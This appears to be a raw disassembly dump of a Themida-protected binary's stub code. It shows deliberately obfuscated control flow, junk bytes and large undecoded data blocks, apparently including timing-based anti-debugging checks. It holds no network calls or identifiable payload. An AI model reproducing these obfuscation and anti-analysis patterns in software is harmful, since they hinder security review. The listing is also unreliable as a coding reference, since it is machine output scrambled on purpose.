sub_5FD1E5	proc near		; CODE XREF: Themida_:005FD1DDp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5FD1E5	endp

; ---------------------------------------------------------------------------
		db 4Ch,	13h, 79h
; ---------------------------------------------------------------------------
		sbb	al, [edi+1BE59D23h]
		cli
		pop	es
		push	0
		mov	[ebp+7FA13C5h],	edi
		call	dword ptr [ebp+7FA012Dh]
		push	eax
		jmp	loc_5FD221
; ---------------------------------------------------------------------------
		add	eax, 0F38263Ch
		aam	65h
		inc	ebp
		mov	edi, 0B193EE47h


loc_5FD221:				; CODE XREF: Themida_:005FD20Fj
		pop	ebx
		mov	ecx, 0FD7h
		mov	di, cx
		and	ecx, 0FFFFFFFCh
		push	0
		push	eax
		call	sub_5FD238
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FD238	proc near		; CODE XREF: Themida_:005FD230p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5FD238	endp

; ---------------------------------------------------------------------------
		dd 2F4BE88Eh, 2CA339D5h, 6880Fh, 0BD2B0000h, 7FA16A5h
		dd 0B8FC06B7h, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+7FA34F9h]
		sub	edx, edx
		push	0
		push	eax
		call	sub_5FD277
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FD277	proc near		; CODE XREF: Themida_:005FD26Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5FD277	endp

; ---------------------------------------------------------------------------
		stc
		retn
; ---------------------------------------------------------------------------
		db 0F8h, 0CFh, 0ADh
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 30F6C350h
		dd 68B0Fh, 0E3810000h, 63933762h, 0DFABF0Fh, 88h, 1E99D31h
		dd 958B07FAh, 7FA27C1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0B1C35141h, 0C1412E8Bh, 3EE04623h, 4800FB2h
		dd 66000000h, 8BD5ABBBh, 0FA1C018Dh, 29575107h,	0FA071985h
		dd 505F5F07h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0AD7B38B2h, 337277DEh, 21B58956h, 5F07FA2Bh
		dd 10E9h, 0B3BA5B00h, 0AA32F49h, 0E8A7160Fh, 0B784401Ah
		dd 55006A30h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 6971E4B5h, 41BD8311h, 7FA07h, 0A3840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 19CE9EC3h, 0B385EE61h, 0B840h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 9CAF85C3h, 0DD8A0DAFh, 538D8DF5h, 6A07FA4Fh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 7341C353h, 3D77DF21h, 8982F3D6h, 0FA1955BDh,	0CFCB8107h
		dd 0FF259814h, 56006AE1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8BDD7B08h, 0EDBD83DEh
		dd 7FA1Ah, 4B9840Fh, 0BF660000h, 0BD83210Bh, 7FA1AEDh
		dd 0C3840F01h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0EA73C352h,	1CF5E469h
		dd 0B7164FE2h, 0EDBD83EEh, 307FA1Ah, 45A860Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 107479C3h, 0F05CD6Ch, 0A4CB81DBh, 0F1F1C29h,	684h, 91BD8B00h
		dd 6007FA04h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ch,	0F4C35141h, 931DCE0h, 880D33F4h, 66D98C66h, 8BA6B6BFh
		dd 4E180DFh, 32758589h,	0C90A07FAh, 1A0840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 9AA630C3h, 7AE0224Dh, 0BD8BE6F3h, 7FA0569h, 0A404BB66h
		dd 17D5858Bh, 0BD8907FAh, 7FA1771h, 1A418533h, 6A07FAh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0FC4265C3h, 5A2E42EFh, 7E9902Dh, 0E1000000h,	1667BC13h
		dd 9050938Fh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	31C35040h, 8C0F2C71h, 6, 2501BD89h, 0B50907FAh
		dd 7FA156Dh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0D85131C3h, 7FDE250Eh, 14E9h, 32911000h
		dd 3C5E6EB6h, 0FE52BD51h, 0B65D50FAh, 0E52F9B27h, 0AF9F683Fh
		dd 8C0FC690h, 4, 5B5B5651h, 60240481h, 8B398E54h, 0FA0341BDh
		dd 0EE907h, 0B620000h, 517E4930h, 0B88FB2Fh, 1C73A6h, 178595FFh
		dd 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 67B89CC3h, 0BD338F02h, 7FA0D2Dh, 7BF88589h
		dd 6A07FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0D05BC9C3h, 15666A67h, 4E18D89h, 850F07FAh
		dd 3, 0E9F8BF0Fh, 1D1h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0BBC35242h, 0F810A070h, 205A4312h, 3165BD8Bh
		dd 858B07FAh, 7FE7BF0h,	1800C7F9h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0BB41C353h, 22A4B94Dh, 0F59D8B91h, 0B707FA23h, 0F4B58B1Bh
		dd 0F07FE7Bh, 689h, 0E19D8B00h,	8B07FA25h, 0FA06E185h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 304CD976h, 8B0F5000h, 6,	8399D8Bh, 895F07FAh
		dd 0FA26A595h, 6A068907h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 7192C353h, 5386AF4Fh
		dd 76DF5AF0h, 858B9CB3h, 7FA17D5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0E2C35141h,	0D4B16EF3h, 0B1BD89h
		dd 468907FAh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 3166C5D8h, 0FA1CF58Dh, 810F9607h
		dd 2, 0E8506160h, 6, 64116C94h,	0C0B3BB23h, 0B5FF965Bh
		dd 7FE7BF0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0EFC35747h, 362CBF66h, 83966968h, 81DC8A3Eh, 95962434h
		dd 81663E9Ch, 8DE30AD3h, 0FE7BF885h, 79BD8B07h,	5007FA34h
		dd 5BDE8B51h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0D67AC352h,	7A7137D2h
		dd 0B57AEAEAh, 0AE9h, 56009400h, 0A7C6B309h, 895B14D8h
		dd 0FA2E5985h, 8595FF07h, 0B707FA17h, 0C7FC6122h, 0FA1AED85h
		dd 307h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 6D5BE4A7h, 61A1BB25h, 0FFE8BA6h
		dd 84h,	0F8BD8300h, 7FE7Bh, 5A840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0EB9F94C3h
		dd 0FA8B5106h, 7E9h, 0C75DD300h, 49984A8Ah, 42E9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0CCDAFE32h, 8529ACB5h, 7FA26BDh, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 7B5FC353h, 8589AAAAh, 7FA0CF1h, 13ADBD8Bh, 0BD8307FAh
		dd 7FA1AEDh, 4B850F03h,	6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0BE25C352h
		dd 1001368Ch, 0DB816653h, 0D1B763A4h, 7BF8BD83h, 0F0007FEh
		dd 41584h, 0A19D8900h, 0FF07FA21h, 0FE7BF8B5h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 5B2BCFAFh, 0FF02E09Ah, 0FA014D95h, 8B0F5607h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		mov	esi, [ebp+7FE7BECh]
		push	0
		push	edi
		call	sub_5FD9EE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FD9EE	proc near		; CODE XREF: Themida_:005FD9E6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5FD9EE	endp

; ---------------------------------------------------------------------------
		dec	edx
		dec	esp
		sti
		aaa
		and	bh, cl
		xchg	eax, edx
		mov	ebx, [ebp+7FA026Dh]
		add	ebx, [ebp+7FA05BDh]
		mov	dword ptr [esi], 10001h
		push	0
		push	ecx
		call	sub_5FDA22
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FDA22	proc near		; CODE XREF: Themida_:005FDA1Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5FDA22	endp

; ---------------------------------------------------------------------------
		test	al, 0EFh
		sahf
		push	0FFFFFF87h
		clc
		add	esp, [ebx]
		enter	0FFFFBD89h, 0D1h
		adc	edx, edi
		pop	es
		push	eax
		pusha
		mov	dx, 23F5h
		call	sub_5FDA51
		fsub	dword ptr [edi-1Eh]
		cmp	[ebx], cl

; =============== S U B	R O U T	I N E =======================================



sub_5FDA51	proc near		; CODE XREF: Themida_:005FDA47p

arg_20		= dword	ptr  24h

		pop	edx
		popa
		mov	[esp-24h+arg_20], esi
		push	0
		push	esi
		call	sub_5FDA61
		and	[esi-3Dh], bl
sub_5FDA51	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5FDA61	proc near		; CODE XREF: sub_5FDA51+8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5FDA61	endp

; ---------------------------------------------------------------------------
		db 81h,	0F1h, 0CEh
; ---------------------------------------------------------------------------
		or	cl, [ebx+edi+79h]
		mov	dl, 0Bh
		popf
		std
		push	ds
		cli
		pop	es
		push	dword ptr [ebp+7FE7BF8h]
		push	0
		push	esi
		call	sub_5FDA90
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FDA90	proc near		; CODE XREF: Themida_:005FDA88p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5FDA90	endp

; ---------------------------------------------------------------------------
		fstp	tbyte ptr [edi+eax+7Ch]
		mov	bl, 6Bh
		add	al, 0Fh
		mov	edi, 519D8BD9h
		adc	edi, edx
		pop	es
		call	dword ptr [ebp+7FA161Dh]
		push	0
		push	edi
		call	sub_5FDAC1
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FDAC1	proc near		; CODE XREF: Themida_:005FDAB9p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5FDAC1	endp

; ---------------------------------------------------------------------------
		mov	bh, 9Fh
		mov	esi, [ebp+7FE7BECh]
		jnz	loc_5FDAE5
		mov	ebx, [ebp+7FA07B9h]


loc_5FDAE5:				; CODE XREF: Themida_:005FDAD9j
		mov	eax, [ebp+7FA0B09h]
		push	0
		push	ebx
		call	sub_5FDAF6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FDAF6	proc near		; CODE XREF: Themida_:005FDAEEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5FDAF6	endp

; ---------------------------------------------------------------------------
		aas
		mov	[edi-3F41409Ah], bh
		mov	[esi+0C4h], eax
		mov	edi, 44C24FB9h
		mov	edx, [ebp+7FA27C1h]
		mov	ebx, 776DA197h
		add	edx, 4
		mov	edi, [ebp+7FA02C5h]
		movzx	ebx, bx
		mov	[eax+20h], edx
		and	bh, 85h
		jz	$+6
		lea	eax, [ebp+7FE90A3h]
		push	0
		push	edi
		call	sub_5FDB4C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FDB4C	proc near		; CODE XREF: Themida_:005FDB44p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5FDB4C	endp

; ---------------------------------------------------------------------------
		test	dword ptr [edi+4F56DE6Ah], 89543FBAh
		xchg	bh, [eax+29000000h]
		mov	ch, 95h
		and	edx, edi
		pop	es
		push	0
		push	0
		push	edi
		call	sub_5FDB7E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FDB7E	proc near		; CODE XREF: Themida_:005FDB76p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5FDB7E	endp

; ---------------------------------------------------------------------------
		push	ecx
		call	sub_5FDB9B
		xchg	ch, [eax]
		dec	ecx
		push	es
		xchg	eax, edi
		fdivp	st(1), st

; =============== S U B	R O U T	I N E =======================================



sub_5FDB9B	proc near		; CODE XREF: Themida_:005FDB8Fp
		and	bh, 56h
		pop	edi
		movzx	ebx, cx
		push	dword ptr [ebp+7FE7BF8h]
		push	0
		push	ecx
		call	sub_5FDBB3
		and	[ecx-3Dh], bl
sub_5FDB9B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5FDBB3	proc near		; CODE XREF: sub_5FDB9B+10p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5FDBB3	endp

; ---------------------------------------------------------------------------
		db 0F3h
		dd 2D9CF564h, 5870Fh, 81660000h, 0FF95A9C3h, 0FA1EF995h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0DE9C2h,	41420000h, 0C2D53E0Dh, 0E991C95Ah
		dd 96D5A203h, 505011B7h, 5E85352h, 0CF000000h, 7F2C02B2h
		dd 310F5B5Bh, 9E8h, 13C0FD00h, 212B4D6Dh, 5A5B4DA7h, 8C0F9658h
		dd 6, 9818D89h,	0B5FF07FAh, 7FE7BF8h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0ACC35141h,	0E59D8BF5h, 8907FA2Ah
		dd 0FA2DED8Dh, 6595FF07h, 8B07FA07h, 0FA1D5DBDh, 0C5BD8307h
		dd 7FA1Eh, 6C840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0ED778FC3h, 0E66D5BAh
		dd 9531E7EBh, 7FA1729h,	80A3B360h, 966152E6h, 13E950h
		dd 5FAA0000h, 4103F6C8h, 16F994FCh, 0EECFACD9h,	2C3D054Bh
		dd 6A9620h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 9ACDEBC3h, 0B5FF06A2h, 7FE7BF8h, 0EDB58B60h
		dd 8907FA31h, 0FA186DB5h, 95FF6107h, 7FA18F5h, 0FFACCB80h
		dd 0FE7BF8B5h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0E91A2335h, 55EF6586h
		dd 0B5314E28h, 7FA13C5h, 0FFD9BF0Fh, 0FA1EB195h, 0B1B58907h
		dd 8307FA21h, 0FA26F5BDh, 840F0207h, 4Eh, 858BDF8Bh, 7FA1419h
		dd 34D117BBh, 0C665h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 14h, 0AC35141h, 4840Fh, 0BB660000h, 0E95004D2h
		dd 11h,	0C53EFD42h, 13710ECCh, 93A62B0Ch, 67D609h, 85C75BA3h
		dd 7FA05B1h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+7FA0AC5h],	ecx
		jmp	loc_5FD03A
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5FDDC6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FDDC6	proc near		; CODE XREF: Themida_:005FDDBEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5FDDC6	endp

; ---------------------------------------------------------------------------
		ficom	word ptr [ebp-3E742276h]
		movsx	edi, dx
		lea	eax, [ebp+7FA150Dh]
		push	0
		push	ecx
		call	sub_5FDDF0
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FDDF0	proc near		; CODE XREF: Themida_:005FDDE8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5FDDF0	endp

; ---------------------------------------------------------------------------
		dd 0F97BA155h, 68F0Fh, 0BD890000h, 7FA18B1h, 5E95350h
		dd 0F7000000h, 54C0A895h, 2404895Fh, 80C4B6BBh,	6A006A6Dh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0F0E61B9h, 84h, 0A858D00h, 6A07FFC5h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 9410C352h, 3F155F2Dh, 1C10BD9h, 0FA0349B5h, 419D8B07h
		dd 8307FA12h, 9D8B05C0h, 7FA1A31h, 0CE8B6050h, 410BB60h
		dd 6161607Eh, 6A240489h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 3059B4D8h, 0F60C1D7h
		dd 283h, 0E9616000h, 10h, 0B0F8CE8Fh, 4B12306Eh, 5CBE75E9h
		dd 0D8643805h, 6A006A61h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0FB0CC355h,	7D4656F7h
		dd 1B5AE4C8h, 14E8h, 82C5AC00h,	43D6D03h, 71E824A0h, 4F25F9A5h
		dd 561F0093h, 810F5BDEh, 1, 4D95FFF9h, 6A07FA17h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 34ACC350h, 8D2AF542h, 0FE7ADB8Dh, 0E7816607h, 0D1FF909Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0EC35646h
		dd 2B5612FDh, 9316D381h, 0BD831C2Fh, 7FA27ADh, 83850F01h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0D17EC350h, 46A8EB59h,	81666CEFh
		dd 6A2660F7h, 499D0302h, 5007FA18h, 89FB8B66h, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 667368C3h, 0D08AF781h, 1EF995FFh, 6A07FAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 1F96E9C3h
		dd 0D438D5ACh, 40E9B8ACh, 0E800000Fh, 0
		dd 14ED815Dh, 0E807FFC5h, 0Ch, 760CD07Ah, 0DEC991A9h, 1E3BDB7Bh
		dd 8D5BDE8Bh, 0FE4FA285h, 0DE8A5107h, 8A50FC5Fh, 240489FEh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 22C35545h
		dd 924E3663h, 0BD8B0DB8h, 7FA1271h, 0C119D33h, 0FF6407FAh
		dd 35h,	0A59D2300h, 6407FA24h, 2589h, 810F0000h, 6, 27D1BD03h
		dd 0C78107FAh, 3802068Ah, 312585FFh, 6A07FAh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 720825C3h
		dd 7E910EEh, 13000000h,	0F0C5EAD7h, 0FF6A4A7Ch,	2D799589h
		dd 0B5FF07FAh, 7FA1735h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 77C35141h, 0BDDFE7C4h, 0A75FD381h, 0BB662FDDh
		dd 95FFF044h, 7FA018Dh,	0FAE9h,	0EE800h, 51F90000h, 0F707DDD0h
		dd 42DBB4C2h, 0A438C5E2h, 16B59589h, 0B05B07FAh, 0A5858900h
		dd 0E607FA16h, 85BD8B70h, 0E407FA34h, 0DDBD0371h, 3C07FA24h
		dd 0C0830F61h, 8B000000h, 0C8B60FFBh, 6BAh, 299D8B00h
		dd 8B07FA1Eh, 10E950C1h, 36000000h, 296570A6h, 9A8C4255h
		dd 6F0FD98Bh, 5B482BEEh, 8B04E8C1h, 0FA0CF99Dh,	0E2F76607h
		dd 0BBC82BFCh, 5469A78Dh, 9D23D18Bh, 7FA1E41h, 76E9h, 44858B00h
		dd 835F4C4Ch, 0B53107C0h, 7FA0925h, 0F00C083h, 0D03BFBBFh
		dd 17830Fh, 8A0F0000h, 6, 2AFD9D2Bh, 48E907FAh,	8B000000h
		dd 0FA1A39BDh, 0FF8D8B07h, 0B3FFFFFFh, 1E18324h, 31840Fh
		dd 0E9560000h, 9, 0C8E845B4h, 8692A4E9h, 0A5835F18h, 0FFFFFFFFh
		dd 3840FFEh, 0F000000h,	9589FEB7h, 5F4C4C44h, 1B259509h
		dd 0E907FAh, 8D000000h,	0FF44E6B5h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 3F598D53h
		dd 3BB619FDh, 919589FCh, 6A07FA04h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0C7E413E9h
		dd 4BED4EEBh, 2E99D89h,	95FF07FAh, 7FA012Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0D8C35141h, 0BD89A58Fh
		dd 7FA07B9h, 0F0AB9h, 1DB58900h, 8307FA03h, 6656FCE1h
		dd 0EDD1EF81h, 9D23FC5Bh, 7FA0705h, 0B8DF8Bh, 8B000000h
		dd 0FA27299Dh, 6AD22B07h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0AAF5C353h,	0B3F6A704h
		dd 0F18589F9h, 0AD07FA24h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 1FF4C355h, 14E9h,	854D4F00h, 0C752BCF0h
		dd 0F917FEB9h, 0B843F847h, 698C174h, 39852930h,	0D07FA03h
		dd 88h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h
		dd 7AC35242h, 47BCF338h, 0EF816605h, 958BA12Ch,	7FA27C1h
		dd 1C018D8Bh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 388238C3h, 0F7EDA22Bh, 519D8B08h
		dd 5007FA28h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 3959DFA3h, 8B91E91Fh, 0BD8951FBh, 7FA1A1Dh
		dd 3DBF665Bh, 41BD8323h, 7FA07h, 64840Fh, 8B70000h, 0B8h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0BF28ACh, 0DEA6F8Bh, 19BD8B59h, 8A07FA01h
		dd 538D8DDEh, 8907FA4Fh, 0FA12A99Dh, 6AE1FF07h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 8F0FC350h, 0BB663B72h, 0BD83F22Ah, 7FA1AEDh,	33840F00h
		dd 6A000005h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 30C2C356h, 9D8BB366h, 7FA05BDh
		dd 1AEDBD83h, 0F0107FAh, 51C84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 6E81A36h, 74000000h
		dd 0CED81118h, 0C9B531F3h, 5F07FA2Dh, 0E105BB66h, 1AEDBD83h
		dd 0F0307FAh, 4A686h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 90C27BF7h, 0F5481D1Dh
		dd 56606098h, 0E85E5A56h, 13h, 541359A9h, 7C7386CFh, 8CB5ACFFh
		dd 0EA5231F7h, 0F490872h, 88h, 66615A00h, 0B589D98Ch, 7FA14CDh
		dd 6E58589h, 0E18007FAh, 50006A04h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 558D29DFh, 0A07FA2Dh
		dd 67840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 8B45C355h, 8B66AEF2h
		dd 0D5858BFEh, 6A07FA17h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0DD10C353h,	4F3B0AC7h
		dd 239BD8Bh, 858907FAh,	7FA0C15h, 1A418533h, 2ABB07FAh
		dd 9636F1Ch, 0FA1A399Dh, 52509007h, 11E9h, 9C934B00h, 72452653h
		dd 19BDEEE9h, 0E73B22F6h, 310F341Ch, 585ADA8Ah,	0EE950h
		dd 0CA170000h, 5FD0C351h, 0C6D59A9Eh, 0FE606FE1h, 0BF66F990h
		dd 6A704Ah, 1BB19501h, 626807FAh, 5091CF6Ah, 68D0F52h
		dd 50000000h, 5A310F52h, 5A310F58h, 24048158h, 6E4F999Dh
		dd 99D3356h, 5B07FA08h,	178595FFh, 6A07FAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 9B7353C3h
		dd 0A5EF35ABh, 0E9441CD7h, 0Ah,	7BA2A10Ah, 73D2E8Fh, 8589A997h
		dd 7FE7BF8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	9EC35242h, 65E2A2DEh, 90BD2F83h, 3185896Eh, 0E907FA24h
		dd 23Fh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	74C35242h, 5389E48Dh, 31571A3Dh, 0FA0175BDh, 858B5B07h
		dd 7FE7BF0h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	3FC35242h, 0BCC13093h, 0C3BA8B0Dh, 0BD8B51B3h
		dd 7FA2129h, 1800C75Fh,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 95B0C357h
		dd 80C78166h, 919D0B8Bh, 8B07FA2Bh, 0FE7BF4B5h,	11E907h
		dd 80300000h, 771E5025h, 60DEAC32h, 584BE357h, 8BA7D649h
		dd 0FA06E185h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0C3A37636h, 76B6CA6Ah
		dd 371BD8Bh, 0F6007FAh,	178Dh, 11E800h,	0F3080000h, 8B2A0B0Ch
		dd 778480C9h, 0C17F1EC8h, 5BA65C71h, 22F5C981h,	896171EDh
		dd 559D2906h, 8B07FA01h, 0FA17D585h, 6D9D8B07h,	8907FA0Ch
		dd 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 1DB2E0C3h, 63486B77h, 53525096h, 310F5250h
		dd 0F5F585Ah, 66525031h, 0F851DBFh, 0F525031h, 5A585A31h
		dd 50585A58h, 0BA525060h, 1BCBB38Dh, 585A310Fh,	8E9h, 0B99C4100h
		dd 0A2B32535h, 0E99661E5h, 0Bh,	0D883D89h, 15C9267Fh, 0FF6535F9h
		dd 0FE7BF0B5h, 95BD8B07h, 6807FA13h, 3C9D3552h,	0BE956h
		dd 67330000h, 0F319E057h
